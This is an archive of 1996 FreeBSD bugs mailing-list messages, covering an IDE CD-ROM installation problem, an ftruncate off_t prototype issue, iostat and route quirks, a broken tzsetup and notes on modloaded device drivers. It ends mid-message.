Content-Transfer-Encoding: quoted-printable Date: Wed, 20 Mar 1996 05:43:23 -0500 To: bugs@freebsd.org From: "David P. Chubb" Subject: Help... Cc: sos@freebsd.org Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear FreeBSD techs, I have a problem installing the FreeBSD 2.1 release on my computer. I purchased the 2.1 release for the reason that it supports IDE/ATAPI CD-ROM's...or so it says. I try booting directely from the CD..and yes I did do a minimal DOS boot w/o EMM386(friend metioned that to me) and it reboots half-way through the procedure. I then tried making a ATAPI/IDE boot floppy...yet it still doesn't even recognize my drive. Included are copies of my Config.sys and Autoexec.bat files that I booted under. Here are my system specs: IO card: QD6580W/757 VL Bus IDE card. supports 4 HDD's or IDE CD-ROM's CD-ROM Drive: Lxycon CDM-100S Double speed CD-ROM (CD connected to me IO card)16-bit data transfer & IDE bus interface 128KB buffer Supports: CD-DA, CD-ROM mode 1 & 2, CD-ROM XA and Multi-session Photo-CD and CD-I Tech specs: Type =3D Semiconductor laser GAAIAS Wave Length =3D 780 nm LifeSpan =3D 5000hours MTBF =3D 30000H 25% Computer: Vesa 486 Deep-Greem PC AMD 486DX2-66Mhz Processor 512K Cache, VLB Bus, 8MB 2x32 72-pin RAM HDD: Main =3D Seagate ST3660A 545MB IDE Slave =3D Seagate ST31220A 1.2Gig IDE (partion for BSD created on Slave[500MB]) VLB SVGA 1MB Cirrus video card. Sound Card: Lxycon Sound Booster 100% Sound Blaster compat. Supports Sony, Mitsumi, panasonic, IDE.=20 model LSO-320 If you need more info...contact me at dchubb@vt.edu or call=20 (540) 232-3037. I am a freshman CS major at Virginie Tech...and even my professors can't figure out this one....and I figured that the people who created the product would be able to help. And, I need to get this installed for class...and soon. Sincerely, David P. Chubb =3D=3D=3D=3D=3D=3D=3D=3DConfig.sys=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D DEVICE=3DC:\DOS\HIMEM.SYS rem DEVICE=3DC:\DOS\EMM386.EXE /NOEMS rem DOS=3DHIGH,UMB REM DEVICE=3DC:\DOS\SETVER.EXE REM FILES=3D60 REM STACKS=3D9,256 LASTDRIVE=3DK REM DEVICEHIGH=3DC:\QD6580.SYS =20 rem DEVICE=3DC:\DOS\INTERLNK.EXE=20 DEVICEHIGH=3DC:\MOZART\MZTINIT.SYS /A220 /I5 /D1 /E2 /CI15 /Q /V7=20 DEVICEHIGH=3DC:\MOZART\IDECDROM.SYS /D:MSCDOAK /P:170S /I:15 /M:S /V=20 BUFFERS=3D40 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =3D=3D=3D=3D=3D=3D=3DAutoexec.bat=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D REM SET TZ=3DEST5EDT REM SET COMSPEC=3DC:\COMMAND.COM REM SET PGPPATH=3DC:\PGP SET SOUND=3DC:\MOZART SET BLASTER=3DA220 I5 D1 T4=20 REM SET LIB=3DD:\QTW\LIB; REM SET INCLUDE=3DD:\QTW\INC; REM LH C:\MOZART\MZTVOL.EXE REM C:\DOS\SMARTDRV.EXE /X /V PROMPT $p$g PATH=3DC:\WINDOWS;C:\DOS;C:\BC4\BIN;C:\PK;C:\PGP @ECHO OFF LH C:\DOS\MSCDEX.EXE /D:MSCDOAK /L:E /M:10 /V=20 REM LH C:\CLUTIL\CLMODE m2 REM LH C:\PPP16550.COM REM LH C:\UNIVESA.EXE LH C:\MOUSE\MOUSE.COM REM LH C:\DOS\SHARE.EXE REM LH D:\ZipTools\GUEST.EXE REM win /3=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ______________David_Prentice_Chubb____________________ / 370 Vawter Hall |"All info contained / / Blacksburg VA 24060-0017 | within is expressley/ / Phone:540-232-3037 | of the opinion of / / e-mail: dchubb@vt.edu | the above and no / / http://dchubb.async.vt.edu/ | other entity." / =20 ------------------------------------------------------ @~>~>~~ "A rose is a rose is a rose." -Stein =3D=3D=3D=3D=3D=3D=3D=3DPGP Authentication Signature=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D =E9=0B=B3tYvQ=A8=9D[ =82=FF=D1=1E=E9=AEO=DF=F9=9E}=1C=B4=1E David P. Chubb =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D From owner-freebsd-bugs Wed Mar 20 01:29:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA17071 for bugs-outgoing; Wed, 20 Mar 1996 01:29:07 -0800 (PST) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA17063 Wed, 20 Mar 1996 01:29:03 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id BAA04958; Wed, 20 Mar 1996 01:28:50 -0800 (PST) To: "David P. Chubb" cc: bugs@freebsd.org, sos@freebsd.org Subject: Re: Help... In-reply-to: Your message of "Wed, 20 Mar 1996 05:43:23 EST." <2.2.16.19960320104323.384720d8@mail.vt.edu> Date: Wed, 20 Mar 1996 01:28:50 -0800 Message-ID: <4955.827314130@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Dear FreeBSD techs, > I have a problem installing the FreeBSD 2.1 release on my computer. > I purchased the 2.1 release for the reason that it supports IDE/ATAPI > CD-ROM's...or so it says. Well, be fair - it says, to quote absolutely verbatim from the text: The following CD-ROM type systems are supported at this time: (cd) SCSI interface (also includes ProAudio Spectrum and SoundBlaster SCSI) (mcd) Mitsumi proprietary interface (all models) (matcd) Matsushita/Panasonic (Creative SoundBlaster) proprietary interface (562/563 models) (scd) Sony proprietary interface (all models) (wcd) ATAPI IDE interface (experimental and should be considered ALPHA quality!). And if you look at the back of the CD, you'll see that IDE CDROMs aren't even listed at all! I think we were pretty honest about making it plain that this might NOT work for you. > CD-ROM Drive: Lxycon CDM-100S Double speed CD-ROM > (CD connected to me IO card)16-bit data transfer & IDE bus interface > 128KB buffer I don't believe that this is one of the supported models, sorry! If the atapi boot floppy didn't recognise it, then I'd say it's simply not supported. Sorry! I suggest the DOS or network installation, if possible. See the notes on the inside CD liner for more information on this (or see the docs on the CDROM itself). Jordan From owner-freebsd-bugs Wed Mar 20 03:55:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA26605 for bugs-outgoing; Wed, 20 Mar 1996 03:55:07 -0800 (PST) Received: from deadline.snafu.de (root@deadline.snafu.de [194.64.158.28]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA26597 for ; Wed, 20 Mar 1996 03:55:03 -0800 (PST) Received: by deadline.snafu.de id m0tzMV2-0009QyC; Wed, 20 Mar 96 12:56 MET (/\oo/\ Smail3.1.29.1 #29.1) Message-Id: From: root@deadline.snafu.de (Andreas S. Wetzel) Subject: ncftp dumps core when used under uid 0 To: bugs@freebsd.org Date: Wed, 20 Mar 1996 12:56:19 +0100 (MET) Organization: A world stranger than you have ever imagined. X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! --- In the last weeks I noticed that ncftp dumped core just when it had established the connection to the remote host and logged in. This behaviour does only seem to occur when ncftp is used under the uid 0. Any help appreciated. Regards, mickey -- (__) (@@) Andreas S. Wetzel E-mail: mickey@deadline.snafu.de /-------\/ Utrechter Strasse 41 Web: http://deadline.snafu.de/ / | || 13347 Berlin Voice: <+4930> 456 81 68 * ||----|| Germany Fax/Data: <+4930> 455 19 57 ~~ ~~ From owner-freebsd-bugs Wed Mar 20 06:29:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA04931 for bugs-outgoing; Wed, 20 Mar 1996 06:29:07 -0800 (PST) Received: from nixpbe.pdb.sni.de (mail.sni.de [192.109.2.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA04920 for ; Wed, 20 Mar 1996 06:28:31 -0800 (PST) Received: (from nerv@localhost) by nixpbe.pdb.sni.de (8.6.12/8.6.12) id PAA02329 for bugs@freebsd.org; Wed, 20 Mar 1996 15:27:40 +0100 Message-Id: <199603201427.PAA02329@nixpbe.pdb.sni.de> Subject: Re: struct flock problem To: lav@video.yars.free.net (Alexander V. Lukyanov) Date: Wed, 20 Mar 96 14:41:48 MET From: Greg Lehey Cc: bugs@freebsd.org, ports@freebsd.org In-Reply-To: <199603191855.VAA06426@video.yars.free.net>; from "Alexander V. Lukyanov" at Mar 19, 96 9:55 pm X-Mailer: xmail 2.4 (based on ELM 2.2 PL16) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > It seems that FreeBSD have struct flock (fcntl.h) with members in order, > different from the same structure in SVR4, linux and probably posix. > (I don't have the standard handy, sorry) Yes, this is partially correct. I'm pretty sure that POSIX.1 doesn't define order in any structures. More importantly, it's different from Net/2 based systems as well: although binaries from FreeBSD 1.x or BSD/386 1.x will generally run on FreeBSD 2.x, they won't if they use fcntl locking. The background is that off_t is now 64 bits long, so it wouldn't work in the same sequence anyway, and this way round you waste less space in the struct. > This may cause troubles in porting a program initializing such a structure. Another good reason not to use aggregate initializers. Greg From owner-freebsd-bugs Wed Mar 20 09:50:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA20474 for bugs-outgoing; Wed, 20 Mar 1996 09:50:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA20468 Wed, 20 Mar 1996 09:50:03 -0800 (PST) Resent-Date: Wed, 20 Mar 1996 09:50:03 -0800 (PST) Resent-Message-Id: <199603201750.JAA20468@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, tom@atlas.uniserve.com Received: from atlas.uniserve.com (atlas.uniserve.com [204.191.197.8]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA19939 for ; Wed, 20 Mar 1996 09:41:20 -0800 (PST) Received: (from tom@localhost) by atlas.uniserve.com (8.6.12/8.6.12) id JAA23183; Wed, 20 Mar 1996 09:43:02 -0800 Message-Id: <199603201743.JAA23183@atlas.uniserve.com> Date: Wed, 20 Mar 1996 09:43:02 -0800 From: Tom Samplonius Reply-To: tom@atlas.uniserve.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1090: iostat displays incorrect sps count Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1090 >Category: kern >Synopsis: iostat displays incorrect sps count >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 20 09:50:00 PST 1996 >Last-Modified: >Originator: Tom Samplonius >Organization: TVS >Release: FreeBSD 2.1-STABLE i386 >Environment: atlas# uname -a FreeBSD atlas.uniserve.com 2.1-STABLE FreeBSD 2.1-STABLE #0: Wed Mar 13 08:00:49 PST 1996 tom@atlas.uniserve.com:/local/src/sys/compile/ATLAS i386 >Description: iostat displays negative values for "sps" for the first output line of iostat on systems with heavy disk load. >How-To-Repeat: atlas# iostat tty sd0 sd1 sd2 sd3 cpu tin tout sps tps msps sps tps msps sps tps msps sps tps msps us ni sy in id 0 5 -25 1 1.0 -13 40 0.0 5 9 0.0 -8 22 0.0 1 19 4 2 74 atlas# iostat -w 10 tty sd0 sd1 sd2 sd3 cpu tin tout sps tps msps sps tps msps sps tps msps sps tps msps us ni sy in id 0 5 -25 1 1.0 -12 40 0.0 5 9 0.0 -8 22 0.0 1 19 4 2 74 1 9 74 5 0.0 457 61 0.0 1781 56 0.0 665 43 0.0 0 11 9 2 78 0 8 49 3 0.0 286 42 0.0 1798 51 0.0 471 29 0.0 1 18 9 3 69 2 10 52 4 0.0 344 50 0.0 1797 50 0.0 460 32 0.0 1 28 10 3 58 4 24 49 3 0.0 334 48 0.0 2168 54 0.0 562 35 0.0 0 23 11 2 64 2 11 41 3 0.0 382 53 0.0 1936 53 0.0 638 41 0.0 0 10 9 3 77 3 22 25 2 0.0 414 58 0.0 1989 54 0.0 638 38 0.0 0 13 11 3 73 2 10 21 1 0.0 415 58 0.0 1859 50 0.0 451 30 0.0 0 7 9 2 82 ^C atlas# iostat tty sd0 sd1 sd2 sd3 cpu tin tout sps tps msps sps tps msps sps tps msps sps tps msps us ni sy in id 0 5 -25 1 1.0 -12 40 0.0 5 9 0.0 -7 22 0.0 1 19 4 2 74 atlas# >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Mar 20 10:50:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA24348 for bugs-outgoing; Wed, 20 Mar 1996 10:50:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA24340 Wed, 20 Mar 1996 10:50:01 -0800 (PST) Resent-Date: Wed, 20 Mar 1996 10:50:01 -0800 (PST) Resent-Message-Id: <199603201850.KAA24340@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, billr@ipsilon.com Received: from mailhost.Ipsilon.COM (foo-5-10.Ipsilon.COM [205.226.5.12]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA24149 for ; Wed, 20 Mar 1996 10:47:58 -0800 (PST) Received: from ecco.ipsilon.com (ecco.Ipsilon.COM [205.226.1.152]) by mailhost.Ipsilon.COM (8.6.11/8.6.10) with ESMTP id KAA06482 for ; Wed, 20 Mar 1996 10:47:26 -0800 Received: (billr@localhost) by ecco.ipsilon.com (8.6.11/8.6.10) id KAA27849; Wed, 20 Mar 1996 10:47:36 -0800 Message-Id: <199603201847.KAA27849@ecco.ipsilon.com> Date: Wed, 20 Mar 1996 10:47:36 -0800 From: Bill Roberson Reply-To: billr@ipsilon.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1091: Last Mbuf from lookaside list gets currupted Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1091 >Category: kern >Synopsis: Last Mbuf from lookaside list gets currupted >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 20 10:50:00 PST 1996 >Last-Modified: >Originator: Bill Roberson >Organization: Ipsilon >Release: FreeBSD 2.0-BUILT-19950603 i386 >Environment: All Ipsilon kernels. >Description: The last mbuf in lookaside list gets corrupted. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Mar 20 10:51:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA24440 for bugs-outgoing; Wed, 20 Mar 1996 10:51:14 -0800 (PST) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA24415 Wed, 20 Mar 1996 10:51:04 -0800 (PST) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id TAA22802; Wed, 20 Mar 1996 19:51:00 +0100 Received: by sax.sax.de (8.6.11/8.6.12-s1) with UUCP id TAA13863; Wed, 20 Mar 1996 19:50:59 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.7.4/8.6.9) id TAA09057; Wed, 20 Mar 1996 19:27:32 +0100 (MET) From: J Wunsch Message-Id: <199603201827.TAA09057@uriah.heep.sax.de> Subject: Re: struct flock problem To: lehey.pad@sni.de (Greg Lehey) Date: Wed, 20 Mar 1996 19:27:32 +0100 (MET) Cc: lav@video.yars.free.net, bugs@FreeBSD.ORG, ports@FreeBSD.ORG In-Reply-To: <199603201427.PAA02329@nixpbe.pdb.sni.de> from "Greg Lehey" at Mar 20, 96 02:41:48 pm X-Phone: +49-351-2012 669 X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: > ... although binaries from FreeBSD 1.x or > BSD/386 1.x will generally run on FreeBSD 2.x, they won't if they use > fcntl locking. The background is that off_t is now 64 bits long, so > it wouldn't work in the same sequence anyway, and this way round you > waste less space in the struct. The background is that renaming the fcntl syscall has apparently been forgotten by the fathers of 4.4BSD, since its dependency on off_t wasn't very obvious. All the other syscalls have changed, thus preserving the binary compatibility. As it's often the case when something has been forgotten in the first place, it's too late now. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Wed Mar 20 11:24:19 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA26031 for bugs-outgoing; Wed, 20 Mar 1996 11:24:19 -0800 (PST) Received: (from wosch@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA26019 Wed, 20 Mar 1996 11:24:18 -0800 (PST) Date: Wed, 20 Mar 1996 11:24:18 -0800 (PST) From: Wolfram Schneider Message-Id: <199603201924.LAA26019@freefall.freebsd.org> To: markd@grizzly.com, wosch, freebsd-bugs Subject: Re: bin/172 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: cp -f does not work State-Changed-From-To: open-closed State-Changed-By: wosch State-Changed-When: Wed Mar 20 11:22:14 PST 1996 State-Changed-Why: fixed in -current From owner-freebsd-bugs Wed Mar 20 11:40:59 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA26974 for bugs-outgoing; Wed, 20 Mar 1996 11:40:59 -0800 (PST) Received: (from wollman@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA26952 Wed, 20 Mar 1996 11:40:56 -0800 (PST) Date: Wed, 20 Mar 1996 11:40:56 -0800 (PST) From: Garrett Wollman Message-Id: <199603201940.LAA26952@freefall.freebsd.org> To: billr@ipsilon.com, wollman, freebsd-bugs Subject: Re: kern/1091 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Last Mbuf from lookaside list gets currupted State-Changed-From-To: open-closed State-Changed-By: wollman State-Changed-When: Wed Mar 20 11:40:19 PST 1996 State-Changed-Why: This is clearly a mistaken submission and not a FreeBSD bug. From owner-freebsd-bugs Wed Mar 20 15:10:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA13314 for bugs-outgoing; Wed, 20 Mar 1996 15:10:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA13287 Wed, 20 Mar 1996 15:10:03 -0800 (PST) Resent-Date: Wed, 20 Mar 1996 15:10:03 -0800 (PST) Resent-Message-Id: <199603202310.PAA13287@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, admin@dmzpc.bridge.com Received: from dmzpc.bridge.com (dmzpc.bridge.com.76.167.IN-ADDR.ARPA [167.76.159.150]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA13005 for ; Wed, 20 Mar 1996 15:07:29 -0800 (PST) Received: (from admin@localhost) by dmzpc.bridge.com (8.6.12/8.6.12) id LAA08177; Wed, 20 Mar 1996 11:06:59 -0600 Message-Id: <199603201706.LAA08177@dmzpc.bridge.com> Date: Wed, 20 Mar 1996 11:06:59 -0600 From: admin Reply-To: admin@dmzpc.bridge.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1092: trouble with ftruncate(2) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1092 >Category: kern >Synopsis: ftruncate(2) returns EINVAL >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 20 15:10:02 PST 1996 >Last-Modified: >Originator: khardy@acm.org >Organization: >Release: FreeBSD 2.1-STABLE i386 >Environment: >Description: The ftruncate(2) system call always seems to return EINVAL, at least in all the ways I've tried it. >How-To-Repeat: /* This pgm succeeds on FreeBSD 2.0, BSDI 1.1, and SunOS 4.1.3C, but * fails on FreeBSD 2.1 */ #include #include main (int argc, char **argv) { int fd ; if (argc != 2) { fprintf (stderr, "usage: %s filename\n", argv[0]) ; return (-1) ; } if ( (fd = open (argv[1], O_CREAT|O_TRUNC|O_RDWR, 0600) ) < 0) { perror (argv[1]) ; return (-1) ; } if (ftruncate (fd, 0L) ) { perror ("truncate(fd,0)") ; return (-1) ; } printf ("OK\n") ; return 0 ; } >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Mar 20 15:10:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA13340 for bugs-outgoing; Wed, 20 Mar 1996 15:10:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA13313 Wed, 20 Mar 1996 15:10:05 -0800 (PST) Resent-Date: Wed, 20 Mar 1996 15:10:05 -0800 (PST) Resent-Message-Id: <199603202310.PAA13313@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, mi@aldan.saturn.net Received: from janus.saturn.net (root@janus.saturn.net [206.42.0.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA13208 for ; Wed, 20 Mar 1996 15:08:46 -0800 (PST) Received: from aldan.saturn.net (aldan.saturn.net [206.42.1.73]) by janus.saturn.net (8.7.4/8.6.9) with ESMTP id SAA04522 for ; Wed, 20 Mar 1996 18:11:26 -0500 Received: (from root@localhost) by aldan.saturn.net (8.6.12/8.6.12) id SAA13053; Wed, 20 Mar 1996 18:08:41 -0500 Message-Id: <199603202308.SAA13053@aldan.saturn.net> Date: Wed, 20 Mar 1996 18:08:41 -0500 From: Mikhail Teterin Reply-To: mi@aldan.saturn.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/1093: route's diagnostic is weird Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1093 >Category: bin >Synopsis: route's diagnostic is weird >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 20 15:10:04 PST 1996 >Last-Modified: >Originator: Mikhail Teterin >Organization: >Release: FreeBSD 2.1-STABLE i386 >Environment: Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default mimas.saturn.net UGc 9 1107 ppp0 localhost localhost UH 3 42111 lo0 rhea.saturn.net aldan UH 8 0 ppp0 206.42.1 link#2 UC 4 0 aldan 8:0:2b:29:21:ac UHLW 0 0 lo0 BASE-ADDRESS.MCA localhost US 0 0 lo0 >Description: Route's diagnostic is *funny* >How-To-Repeat: mi@aldan:~ (1060) df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/sd0a 521294 452026 27564 94% / /dev/sd0s1 511696 500384 11312 98% /diskc /dev/sd1s3 402200 323616 78584 80% /diskd /dev/sd1s1e 627278 440352 136742 76% /usr procfs 4 4 0 100% /proc /dev/cd0a 631252 631252 0 100% /cdrom mi@aldan:~ (1061) route change default mimas.saturn.net writing to routing socket: Disc quota exceeded change net default: gateway mimas.saturn.net: Disc quota exceeded >Fix: No idea. I think it was trying to say something else, which corresponds to the same errno ;) Note, that it did change the default route anyway... >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Mar 20 15:50:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA14812 for bugs-outgoing; Wed, 20 Mar 1996 15:50:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA14779 Wed, 20 Mar 1996 15:50:03 -0800 (PST) Date: Wed, 20 Mar 1996 15:50:03 -0800 (PST) Message-Id: <199603202350.PAA14779@freefall.freebsd.org> To: freebsd-bugs Cc: From: David Greenman Subject: Re: kern/1092: trouble with ftruncate(2) Reply-To: David Greenman Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/1092; it has been noted by GNATS. From: David Greenman To: admin@dmzpc.bridge.com Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: kern/1092: trouble with ftruncate(2) Date: Wed, 20 Mar 1996 15:48:39 -0800 > if (ftruncate (fd, 0L) ) { The argument to ftruncate is an off_t which is 64bits. The prototype for ftruncate() is in unistd.h...this is clearly documented in the manual page. If you bring the prototype in scope by including unistd.h or change the above to be "fd, (off_t) 0", I think you'll find that your program works as expected. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-bugs Wed Mar 20 23:20:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA00945 for bugs-outgoing; Wed, 20 Mar 1996 23:20:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA00918 Wed, 20 Mar 1996 23:20:03 -0800 (PST) Resent-Date: Wed, 20 Mar 1996 23:20:03 -0800 (PST) Resent-Message-Id: <199603210720.XAA00918@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, jkh@time.cdrom.com Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id XAA00371 for ; Wed, 20 Mar 1996 23:15:59 -0800 (PST) Received: (from jkh@localhost) by time.cdrom.com (8.7.5/8.6.9) id XAA23014; Wed, 20 Mar 1996 23:15:52 -0800 (PST) Message-Id: <199603210715.XAA23014@time.cdrom.com> Date: Wed, 20 Mar 1996 23:15:52 -0800 (PST) From: "Jordan K. Hubbard" Reply-To: jkh@time.cdrom.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/1094: tzsetup is broken Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1094 >Category: bin >Synopsis: tzsetup is broken >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 20 23:20:02 PST 1996 >Last-Modified: >Originator: Jordan K. Hubbard >Organization: FreeBSD Project >Release: FreeBSD 2.2-CURRENT i386 >Environment: 2.2-CURRENT >Description: When trying to run tzsetup now, selecting the United States as a timezone causes a brief message to flash about subwin(..) wrong dims. Clearly the dialog library is being passed a bogus menu of some sort. This is a critical problem because it's holding up the snapshot CDROM (I can't very well leave users with no way to easily set the time zone!). >How-To-Repeat: run tzsetup and attempt to set your time zone to, say, Pacific time. >Fix: Looking into it, but if Garrett would care to jump in I won't argue at all. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Mar 21 00:37:59 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA07898 for bugs-outgoing; Thu, 21 Mar 1996 00:37:59 -0800 (PST) Received: from precipice.shockwave.com (precipice.shockwave.com [171.69.108.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id AAA07888 Thu, 21 Mar 1996 00:37:52 -0800 (PST) Received: from localhost.shockwave.com (localhost.shockwave.com [127.0.0.1]) by precipice.shockwave.com (8.7.4/8.7.3) with SMTP id AAA00354; Thu, 21 Mar 1996 00:37:51 -0800 (PST) Message-Id: <199603210837.AAA00354@precipice.shockwave.com> To: bde@freebsd.org cc: hackers@freebsd.org, bugs@freebsd.org, jmz@freebsd.org Subject: modloaded block/char device drivers Date: Thu, 21 Mar 1996 00:37:51 -0800 From: Paul Traina Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Well, I've succesfully gotten the qcam driver to work as a modloaded device. Some notes from the experience: (a) calling dev_attach() from a modloaded device panics the system. I have not even attempted to mess with this yet, but it can be trivially reproduced by removing the #ifndef ACTUALL_LKM_NOT_KERNEL wrappers around the call in 